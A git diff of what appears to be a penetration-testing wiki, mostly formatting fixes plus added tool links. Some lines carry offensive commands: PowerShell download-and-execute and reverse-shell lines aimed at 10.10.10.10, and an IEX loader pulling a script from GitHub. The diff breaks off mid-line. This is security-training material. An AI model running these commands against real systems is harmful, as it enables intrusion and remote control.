diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 53398bb51..cac3fa3dc 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -284,8 +284,10 @@ - [Places to steal NTLM creds](windows-hardening/ntlm/places-to-steal-ntlm-creds.md) - [Lateral Movement](windows-hardening/lateral-movement/README.md) - [AtExec / SchtasksExec](windows-hardening/lateral-movement/atexec.md) - - [DCOM Exec](windows-hardening/lateral-movement/dcom-exec.md) + - [DCOM Exec](windows-hardening/lateral-movement/dcomexec.md) - [PsExec/Winexec/ScExec](windows-hardening/lateral-movement/psexec-and-winexec.md) + - [RDPexec](windows-hardening/lateral-movement/rdpexec.md) + - [SCMexec](windows-hardening/lateral-movement/scmexec.md) - [SmbExec/ScExec](windows-hardening/lateral-movement/smbexec.md) - [WinRM](windows-hardening/lateral-movement/winrm.md) - [WmiExec](windows-hardening/lateral-movement/wmiexec.md) @@ -299,6 +301,7 @@ - [PowerView/SharpView](windows-hardening/basic-powershell-for-pentesters/powerview.md) - [Antivirus (AV) Bypass](windows-hardening/av-bypass.md) - [Cobalt Strike](windows-hardening/cobalt-strike.md) +- [Mythic](windows-hardening/mythic.md) # 📱 Mobile Pentesting diff --git a/src/backdoors/salseo.md b/src/backdoors/salseo.md index 492841a21..b8f4c83ac 100644 --- a/src/backdoors/salseo.md +++ b/src/backdoors/salseo.md @@ -10,7 +10,7 @@ Compile those projects for the architecture of the windows box where your are go You can **select the architecture** inside Visual Studio in the **left "Build" Tab** in **"Platform Target".** -(\*\*If you can't find this options press in **"Project Tab"** and then in **"\ Properties"**) +(**If you can't find this options press in **"Project Tab"** and then in **"\ Properties"**) ![](<../images/image (132).png>) diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md index 3994319d7..56b0b918b 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md @@ -245,7 +245,7 @@ Let's explain this final ROP.\ The last ROP (`rop1`) ended calling again the main function, then we can **exploit again** the **overflow** (that's why the `OFFSET` is here again). Then, we want to call `POP_RDI` pointing to the **addres** of _"/bin/sh"_ (`BINSH`) and call **system** function (`SYSTEM`) because the address of _"/bin/sh"_ will be passed as a parameter.\ Finally, the **address of exit function** is **called** so the process **exists nicely** and any alert is generated. -**This way the exploit will execute a \_/bin/sh**\_\*\* shell.\*\* +**This way the exploit will execute a _/bin/sh_ shell.** ![](<../../../../images/image (165).png>) diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md index 8cd5fb11d..d6197d9dc 100644 --- a/src/binary-exploitation/stack-overflow/README.md +++ b/src/binary-exploitation/stack-overflow/README.md @@ -27,7 +27,7 @@ void vulnerable() { The most common way to find stack overflows is to give a very big input of `A`s (e.g. `python3 -c 'print("A"*1000)'`) and expect a `Segmentation Fault` indicating that the **address `0x41414141` was tried to be accessed**. -Moreover, once you found that there is Stack Overflow vulnerability you will need to find the offset until it's possible to **overwrite the return address**, for this it's usually used a **De Bruijn sequence.** Which for a given alphabet of size _k_ and subsequences of length _n_ is a **cyclic sequence in which every possible subsequence of length \_n**\_\*\* appears exactly once\*\* as a contiguous subsequence. +Moreover, once you found that there is Stack Overflow vulnerability you will need to find the offset until it's possible to **overwrite the return address**, for this it's usually used a **De Bruijn sequence.** Which for a given alphabet of size _k_ and subsequences of length _n_ is a **cyclic sequence in which every possible subsequence of length _n_ appears exactly once** as a contiguous subsequence. This way, instead of needing to figure out which offset is needed to control the EIP by hand, it's possible to use as padding one of these sequences and then find the offset of the bytes that ended overwriting it. diff --git a/src/crypto-and-stego/crypto-ctfs-tricks.md b/src/crypto-and-stego/crypto-ctfs-tricks.md index f165df54b..bbb542c6e 100644 --- a/src/crypto-and-stego/crypto-ctfs-tricks.md +++ b/src/crypto-and-stego/crypto-ctfs-tricks.md @@ -212,7 +212,7 @@ krodfdudfrod **Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) by repeated digits defined by the corresponding key code on a mobile [phone keypad](https://www.dcode.fr/phone-keypad-cipher) (This mode is used when writing SMS).\ For example: 2=A, 22=B, 222=C, 3=D...\ -You can identify this code because you will see\*\* several numbers repeated\*\*. +You can identify this code because you will see** several numbers repeated**. You can decode this code in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) diff --git a/src/cryptography/crypto-ctfs-tricks.md b/src/cryptography/crypto-ctfs-tricks.md index f165df54b..bbb542c6e 100644 --- a/src/cryptography/crypto-ctfs-tricks.md +++ b/src/cryptography/crypto-ctfs-tricks.md @@ -212,7 +212,7 @@ krodfdudfrod **Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) by repeated digits defined by the corresponding key code on a mobile [phone keypad](https://www.dcode.fr/phone-keypad-cipher) (This mode is used when writing SMS).\ For example: 2=A, 22=B, 222=C, 3=D...\ -You can identify this code because you will see\*\* several numbers repeated\*\*. +You can identify this code because you will see** several numbers repeated**. You can decode this code in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) diff --git a/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md b/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md index 6855e9825..bfe9d393f 100644 --- a/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md +++ b/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md @@ -4,7 +4,7 @@ # Timestamps An attacker may be interested in **changing the timestamps of files** to avoid being detected.\ -It's possible to find the timestamps inside the MFT in attributes `$STANDARD_INFORMATION` ** and ** `$FILE_NAME`. +It's possible to find the timestamps inside the MFT in attributes `$STANDARD_INFORMATION`**and**`$FILE_NAME`. Both attributes have 4 timestamps: **Modification**, **access**, **creation**, and **MFT registry modification** (MACE or MACB). diff --git a/src/generic-hacking/exfiltration.md b/src/generic-hacking/exfiltration.md index 4f5f27b6d..b15de6115 100644 --- a/src/generic-hacking/exfiltration.md +++ b/src/generic-hacking/exfiltration.md @@ -362,7 +362,7 @@ Then copy-paste the text into the windows-shell and a file called nc.exe will be ## DNS -- [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil) +- [https://github.com/Stratiz/DNS-Exfil](https://github.com/Stratiz/DNS-Exfil) {{#include ../banners/hacktricks-training.md}} diff --git a/src/generic-hacking/tunneling-and-port-forwarding.md b/src/generic-hacking/tunneling-and-port-forwarding.md index 1fd51d132..ca7fa3944 100644 --- a/src/generic-hacking/tunneling-and-port-forwarding.md +++ b/src/generic-hacking/tunneling-and-port-forwarding.md @@ -193,7 +193,7 @@ To note: > [!WARNING] > In this case, the **port is opened in the beacon host**, not in the Team Server and the **traffic is sent to the Cobalt Strike client** (not to the Team Server) and from there to the indicated host:port -``` +```bash rportfwd_local [bind port] [forward host] [forward port] rportfwd_local stop [bind port] ``` diff --git a/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md b/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md index 39f98b3d8..fc9081a33 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md +++ b/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md @@ -54,7 +54,7 @@ Inveigh is a tool for penetration testers and red teamers, designed for Windows Inveigh can be operated through PowerShell: -```powershell +```bash Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y ``` diff --git a/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md b/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md index 757beb436..25fc883c0 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md @@ -20,7 +20,7 @@ You could also **abuse a mount to escalate privileges** inside the container. - `--userns=host` - `--uts=host` - `--cgroupns=host` -- \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> This is similar to the previous method, but here we are **mounting the device disk**. Then, inside the container run `mount /dev/sda1 /mnt` and you can **access** the **host filesystem** in `/mnt` +- **`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined`** -> This is similar to the previous method, but here we are **mounting the device disk**. Then, inside the container run `mount /dev/sda1 /mnt` and you can **access** the **host filesystem** in `/mnt` - Run `fdisk -l` in the host to find the `` device to mount - **`-v /tmp:/host`** -> If for some reason you can **just mount some directory** from the host and you have access inside the host. Mount it and create a **`/bin/bash`** with **suid** in the mounted directory so you can **execute it from the host and escalate to root**. diff --git a/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md b/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md index 5b11c2f19..6c6220985 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md +++ b/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md @@ -25,7 +25,7 @@ Coming at some point of 2023... #### openssl -\***\*[**In this post,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) it is explained that the binary **`openssl`** is frequently found in these containers, potentially because it's **needed\*\* by the software that is going to be running inside the container. +\***\*[**In this post,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) it is explained that the binary **`openssl`** is frequently found in these containers, potentially because it's **needed** by the software that is going to be running inside the container. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md index 9e004d518..41b1efe5e 100644 --- a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md +++ b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md @@ -199,7 +199,7 @@ cat /dev/fb0 > /tmp/screen.raw cat /sys/class/graphics/fb0/virtual_size ``` -To **open** the **raw image** you can use **GIMP**, select the \*\*`screen.raw` \*\* file and select as file type **Raw image data**: +To **open** the **raw image** you can use **GIMP**, select the **`screen.raw`** file and select as file type **Raw image data**: ![](<../../../images/image (463).png>) diff --git a/src/linux-hardening/privilege-escalation/linux-active-directory.md b/src/linux-hardening/privilege-escalation/linux-active-directory.md index 37196e675..3d028c054 100644 --- a/src/linux-hardening/privilege-escalation/linux-active-directory.md +++ b/src/linux-hardening/privilege-escalation/linux-active-directory.md @@ -70,7 +70,7 @@ This procedure will attempt to inject into various sessions, indicating success SSSD maintains a copy of the database at the path `/var/lib/sss/secrets/secrets.ldb`. The corresponding key is stored as a hidden file at the path `/var/lib/sss/secrets/.secrets.mkey`. By default, the key is only readable if you have **root** permissions. -Invoking \*\*`SSSDKCMExtractor` \*\* with the --database and --key parameters will parse the database and **decrypt the secrets**. +Invoking **`SSSDKCMExtractor`** with the --database and --key parameters will parse the database and **decrypt the secrets**. ```bash git clone https://github.com/fireeye/SSSDKCMExtractor diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md index be78c22be..b501c2d16 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md @@ -143,7 +143,7 @@ ARM64 instructions generally have the **format `opcode dst, src1, src2`**, where - **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**: - **Logical shift left**: Add 0s from the end moving the other bits forward (multiply by n-times 2) - **Logical shift right**: Add 1s at the beginning moving the other bits backward (divide by n-times 2 in unsigned) - - **Arithmetic shift right**: Like **`lsr`**, but instead of adding 0s if the most significant bit is a 1, \*\*1s are added (\*\*divide by ntimes 2 in signed) + - **Arithmetic shift right**: Like **`lsr`**, but instead of adding 0s if the most significant bit is a 1, **1s are added (**divide by ntimes 2 in signed) - **Rotate right**: Like **`lsr`** but whatever is removed from the right it's appended to the left - **Rotate Right with Extend**: Like **`ror`**, but with the carry flag as the "most significant bit". So the carry flag is moved to the bit 31 and the removed bit to the carry flag. - **`bfm`**: **Bit Filed Move**, these operations **copy bits `0...n`** from a value an place them in positions **`m..m+n`**. The **`#s`** specifies the **leftmost bit** position and **`#r`** the **rotate right amount**. @@ -250,7 +250,7 @@ ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment th Armv8-A support the execution of 32-bit programs. **AArch32** can run in one of **two instruction sets**: **`A32`** and **`T32`** and can switch between them via **`interworking`**.\ **Privileged** 64-bit programs can schedule the **execution of 32-bit** programs by executing a exception level transfer to the lower privileged 32-bit.\ -Note that the transition from 64-bit to 32-bit occurs with a lower of the exception level (for example a 64-bit program in EL1 triggering a program in EL0). This is done by setting the **bit 4 of** **`SPSR_ELx`** special register **to 1** when the `AArch32` process thread is ready to be executed and the rest of `SPSR_ELx` stores the **`AArch32`** programs CPSR. Then, the privileged process calls the **`ERET`** instruction so the processor transitions to **`AArch32`** entering in A32 or T32 depending on CPSR\*\*.\*\* +Note that the transition from 64-bit to 32-bit occurs with a lower of the exception level (for example a 64-bit program in EL1 triggering a program in EL0). This is done by setting the **bit 4 of** **`SPSR_ELx`** special register **to 1** when the `AArch32` process thread is ready to be executed and the rest of `SPSR_ELx` stores the **`AArch32`** programs CPSR. Then, the privileged process calls the **`ERET`** instruction so the processor transitions to **`AArch32`** entering in A32 or T32 depending on CPSR**.** The **`interworking`** occurs using the J and T bits of CPSR. `J=0` and `T=0` means **`A32`** and `J=0` and `T=1` means **T32**. This basically traduces on setting the **lowest bit to 1** to indicate the instruction set is T32.\ This is set during the **interworking branch instructions,** but can also be set directly with other instructions when the PC is set as the destination register. Example: diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md index e2fbaeb5e..70f67687b 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md @@ -431,6 +431,8 @@ Therefore, if you want to abuse entitlements to access the camera or microphone ## Automatic Injection +- [**electroniz3r**](https://github.com/r3ggi/electroniz3r) + The tool [**electroniz3r**](https://github.com/r3ggi/electroniz3r) can be easily used to **find vulnerable electron applications** installed and inject code on them. This tool will try to use the **`--inspect`** technique: You need to compile it yourself and can use it like this: @@ -471,6 +473,12 @@ The webSocketDebuggerUrl is: ws://127.0.0.1:13337/8e0410f0-00e8-4e0e-92e4-58984d Shell binding requested. Check `nc 127.0.0.1 12345` ``` + +- [https://github.com/boku7/Loki](https://github.com/boku7/Loki) + +Loki was designed to backdoor Electron applications by replacing the applications JavaScript files with the Loki Command & Control JavaScript files. + + ## References - [https://www.electronjs.org/docs/latest/tutorial/fuses](https://www.electronjs.org/docs/latest/tutorial/fuses) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md index 777a9035a..057fd3038 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md @@ -118,7 +118,7 @@ In this example we have only defined 1 function in the definitions, but if we wo If the function was expected to send a **reply** the function `mig_internal kern_return_t __MIG_check__Reply__` would also exist. -Actually it's possible to identify this relation in the struct **`subsystem_to_name_map_myipc`** from **`myipcServer.h`** (**`subsystem*to_name_map*\***`\*\* in other files): +Actually it's possible to identify this relation in the struct **`subsystem_to_name_map_myipc`** from **`myipcServer.h`** (**`subsystem*to_name_map*\***`** in other files): ```c #ifndef subsystem_to_name_map_myipc diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md index ebea24ebd..4cca1fe54 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md @@ -536,7 +536,7 @@ If you have **`kTCCServiceEndpointSecurityClient`**, you have FDA. End. ### User TCC DB to FDA -Obtaining **write permissions** over the **user TCC** database you \*\*can'\*\*t grant yourself **`FDA`** permissions, only the one that lives in the system database can grant that. +Obtaining **write permissions** over the **user TCC** database you **can'**t grant yourself **`FDA`** permissions, only the one that lives in the system database can grant that. But you can **can** give yourself **`Automation rights to Finder`**, and abuse the previous technique to escalate to FDA\*. diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index f1c5b4e73..1ffe4988d 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -64,7 +64,7 @@ Pay special attention to **firebase URLs** and check if it is bad configured. [M ### Basic understanding of the application - Manifest.xml, strings.xml -The **examination of an application's \_Manifest.xml**_\*\* and \*\*_**strings.xml**\_\*\* files can reveal potential security vulnerabilities\*\*. These files can be accessed using decompilers or by renaming the APK file extension to .zip and then unzipping it. +The **examination of an application's _Manifest.xml_ and **_strings.xml_** files can reveal potential security vulnerabilities**. These files can be accessed using decompilers or by renaming the APK file extension to .zip and then unzipping it. **Vulnerabilities** identified from the **Manifest.xml** include: diff --git a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md index ea0bdc58a..29cd20ca2 100644 --- a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md +++ b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md @@ -164,7 +164,7 @@ A exported service is declared inside the Manifest.xml: ``` -Inside the code **check** for the \*\*`handleMessage`\*\*function which will **receive** the **message**: +Inside the code **check** for the **`handleMessage`**function which will **receive** the **message**: ![](<../../../images/image (82).png>) diff --git a/src/network-services-pentesting/5984-pentesting-couchdb.md b/src/network-services-pentesting/5984-pentesting-couchdb.md index 7f6a10859..b0a32af69 100644 --- a/src/network-services-pentesting/5984-pentesting-couchdb.md +++ b/src/network-services-pentesting/5984-pentesting-couchdb.md @@ -46,7 +46,7 @@ These are the endpoints where you can access with a **GET** request and extract - **`/_active_tasks`** List of running tasks, including the task type, name, status and process ID. - **`/_all_dbs`** Returns a list of all the databases in the CouchDB instance. -- \*\*`/_cluster_setup`\*\*Returns the status of the node or cluster, per the cluster setup wizard. +- **`/_cluster_setup`**Returns the status of the node or cluster, per the cluster setup wizard. - **`/_db_updates`** Returns a list of all database events in the CouchDB instance. The existence of the `_global_changes` database is required to use this endpoint. - **`/_membership`** Displays the nodes that are part of the cluster as `cluster_nodes`. The field `all_nodes` displays all nodes this node knows about, including the ones that are part of the cluster. - **`/_scheduler/jobs`** List of replication jobs. Each job description will include source and target information, replication id, a history of recent event, and a few other things. @@ -58,8 +58,8 @@ These are the endpoints where you can access with a **GET** request and extract - **`/_node/{node-name}/_system`** The \_systemresource returns a JSON object containing various system-level statistics for the running server\_.\_ You can use \_\_`_local` as {node-name} to get current node info. - **`/_node/{node-name}/_restart`** - **`/_up`** Confirms that the server is up, running, and ready to respond to requests. If [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance_mode) is `true` or `nolb`, the endpoint will return a 404 response. -- \*\*`/_uuids`\*\*Requests one or more Universally Unique Identifiers (UUIDs) from the CouchDB instance. -- \*\*`/_reshard`\*\*Returns a count of completed, failed, running, stopped, and total jobs along with the state of resharding on the cluster. +- **`/_uuids`**Requests one or more Universally Unique Identifiers (UUIDs) from the CouchDB instance. +- **`/_reshard`**Returns a count of completed, failed, running, stopped, and total jobs along with the state of resharding on the cluster. More interesting information can be extracted as explained here: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB) diff --git a/src/network-services-pentesting/5985-5986-pentesting-winrm.md b/src/network-services-pentesting/5985-5986-pentesting-winrm.md index 91010de08..b2e36a871 100644 --- a/src/network-services-pentesting/5985-5986-pentesting-winrm.md +++ b/src/network-services-pentesting/5985-5986-pentesting-winrm.md @@ -17,7 +17,7 @@ An open port from the list above signifies that WinRM has been set up, thus perm To configure PowerShell for WinRM, Microsoft's `Enable-PSRemoting` cmdlet comes into play, setting up the computer to accept remote PowerShell commands. With elevated PowerShell access, the following commands can be executed to enable this functionality and designate any host as trusted: -```powershell +```bash Enable-PSRemoting -Force Set-Item wsman:\localhost\client\trustedhosts * ``` @@ -26,7 +26,7 @@ This approach involves adding a wildcard to the `trustedhosts` configuration, a Moreover, WinRM can be **activated remotely** using the `wmic` command, demonstrated as follows: -```powershell +```bash wmic /node: process call create "powershell enable-psremoting -force" ``` @@ -54,7 +54,7 @@ The response should contain information about the protocol version and wsmid, si To execute `ipconfig` remotely on a target machine and view its output do: -```powershell +```bash Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username] ``` @@ -62,19 +62,19 @@ Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /al You can also **execute a command of your current PS console via** _**Invoke-Command**_. Suppose that you have locally a function called _**enumeration**_ and you want to **execute it in a remote computer**, you can do: -```powershell +```bash Invoke-Command -ComputerName -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"] ``` ### Execute a Script -```powershell +```bash Invoke-Command -ComputerName -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta] ``` ### Get reverse-shell -```powershell +```bash Invoke-Command -ComputerName -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"} ``` @@ -82,7 +82,7 @@ Invoke-Command -ComputerName -ScriptBlock {cmd /c "powershell -ep To get an interactive PowerShell shell use `Enter-PSSession`: -```powershell +```bash #If you need to use different creds $password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force ## Note the ".\" in the suername to indicate it's a local user (host domain) @@ -107,7 +107,7 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New To use PS Remoting and WinRM but the computer isn't configured, you could enable it with: -```powershell +```bash .\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force" ``` @@ -115,7 +115,7 @@ To use PS Remoting and WinRM but the computer isn't configured, you could enable This **won't work** if the the **language** is **constrained** in the remote computer. -```powershell +```bash #If you need to use different creds $password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force ## Note the ".\" in the suername to indicate it's a local user (host domain) @@ -129,7 +129,7 @@ Enter-PSSession -Session $sess1 Inside this sessions you can load PS scripts using _Invoke-Command_ -```powershell +```bash Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1 ``` diff --git a/src/network-services-pentesting/8089-splunkd.md b/src/network-services-pentesting/8089-splunkd.md index b7ed90d7f..182382fb8 100644 --- a/src/network-services-pentesting/8089-splunkd.md +++ b/src/network-services-pentesting/8089-splunkd.md @@ -82,7 +82,7 @@ Deployment is straightforward: Sample Windows PowerShell reverse shell: -```powershell +```bash $client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; diff --git a/src/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md b/src/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md index adacaa817..96b5a8cec 100644 --- a/src/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md +++ b/src/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md @@ -7,7 +7,7 @@ ### Manual 1. Connect to vulnerable FTP -2. Use \*\*`PORT`\*\*or **`EPRT`**(but only 1 of them) to make it establish a connection with the _\_ you want to scan: +2. Use **`PORT`**or **`EPRT`**(but only 1 of them) to make it establish a connection with the _\_ you want to scan: `PORT 172,32,80,80,0,8080`\ `EPRT |2|172.32.80.80|8080|` diff --git a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md index 668d98efd..ab1b21371 100644 --- a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md +++ b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md @@ -526,7 +526,7 @@ msf> use auxiliary/admin/mssql/mssql_escalate_dbowner Or a **PS** script: -```powershell +```bash # https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1 Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1 Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184 @@ -579,7 +579,7 @@ msf> auxiliary/admin/mssql/mssql_escalate_execute_as or with a **PS** script: -```powershell +```bash # https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1 Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1 Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword! diff --git a/src/network-services-pentesting/pentesting-rdp.md b/src/network-services-pentesting/pentesting-rdp.md index 66f2a52dd..62dd4bcb9 100644 --- a/src/network-services-pentesting/pentesting-rdp.md +++ b/src/network-services-pentesting/pentesting-rdp.md @@ -123,6 +123,10 @@ net localgroup "Remote Desktop Users" UserLoginName /add - Execute arbitrary SHELL and PowerShell commands on the target without uploading files - Upload and download files to/from the target even when file transfers are disabled on the target +- [**SharpRDP**](https://github.com/0xthirteen/SharpRDP) + +This tool allows to execute commands in the victim RDP **without needing a graphical interface**. + ## HackTricks Automatic Commands ``` diff --git a/src/network-services-pentesting/pentesting-smb.md b/src/network-services-pentesting/pentesting-smb.md index 2c6bd0de1..e4ebb5abc 100644 --- a/src/network-services-pentesting/pentesting-smb.md +++ b/src/network-services-pentesting/pentesting-smb.md @@ -64,7 +64,7 @@ nbtscan -r 192.168.0.1/24 To look for possible exploits to the SMB version it important to know which version is being used. If this information does not appear in other used tools, you can: -- Use the **MSF** auxiliary module \_**auxiliary/scanner/smb/smb_version** +- Use the **MSF** auxiliary module _**auxiliary/scanner/smb/smb_version**_ - Or this script: ```bash @@ -275,7 +275,7 @@ smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED o PowerShell -```powershell +```bash # Retrieves the SMB shares on the locale computer. Get-SmbShare Get-WmiObject -Class Win32_Share @@ -342,7 +342,7 @@ Commands: ### Domain Shared Folders Search -- [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\* +- [**Snaffler**](https://github.com/SnaffCon/Snaffler) ```bash Snaffler.exe -s -d domain.local -o snaffler.log -v data @@ -358,6 +358,10 @@ sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'De Specially interesting from shares are the files called **`Registry.xml`** as they **may contain passwords** for users configured with **autologon** via Group Policy. Or **`web.config`** files as they contains credentials. +- [**PowerHuntShares**](https://github.com/NetSPI/PowerHuntShares) + - `IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerHuntShares/main/PowerHuntShares.psm1")` + - `Invoke-HuntSMBShares -Threads 100 -OutputDirectory c:\temp\test` + > [!NOTE] > The **SYSVOL share** is **readable** by all authenticated users in the domain. In there you may **find** many different batch, VBScript, and PowerShell **scripts**.\ > You should **check** the **scripts** inside of it as you might **find** sensitive info such as **passwords**. diff --git a/src/network-services-pentesting/pentesting-smb/README.md b/src/network-services-pentesting/pentesting-smb/README.md index 4bada01ee..731f2b1ae 100644 --- a/src/network-services-pentesting/pentesting-smb/README.md +++ b/src/network-services-pentesting/pentesting-smb/README.md @@ -4,7 +4,7 @@ ## **Port 139** -The _**Network Basic Input Output System**_\*\* (NetBIOS)\*\* is a software protocol designed to enable applications, PCs, and Desktops within a local area network (LAN) to interact with network hardware and **facilitate the transmission of data across the network**. The identification and location of software applications operating on a NetBIOS network are achieved through their NetBIOS names, which can be up to 16 characters in length and are often distinct from the computer name. A NetBIOS session between two applications is initiated when one application (acting as the client) issues a command to "call" another application (acting as the server) utilizing **TCP Port 139**. +The _**Network Basic Input Output System**_** (NetBIOS)** is a software protocol designed to enable applications, PCs, and Desktops within a local area network (LAN) to interact with network hardware and **facilitate the transmission of data across the network**. The identification and location of software applications operating on a NetBIOS network are achieved through their NetBIOS names, which can be up to 16 characters in length and are often distinct from the computer name. A NetBIOS session between two applications is initiated when one application (acting as the client) issues a command to "call" another application (acting as the server) utilizing **TCP Port 139**. ``` 139/tcp open netbios-ssn Microsoft Windows netbios-ssn @@ -64,7 +64,7 @@ nbtscan -r 192.168.0.1/24 To look for possible exploits to the SMB version it important to know which version is being used. If this information does not appear in other used tools, you can: -- Use the **MSF** auxiliary module 